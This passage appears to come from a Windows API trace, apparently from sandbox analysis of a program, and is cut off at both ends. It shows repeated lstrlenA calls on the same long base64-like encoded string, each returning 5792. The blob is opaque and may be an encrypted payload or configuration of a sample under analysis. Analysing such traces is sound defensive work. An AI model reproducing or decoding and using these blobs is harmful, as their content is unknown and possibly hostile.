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") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY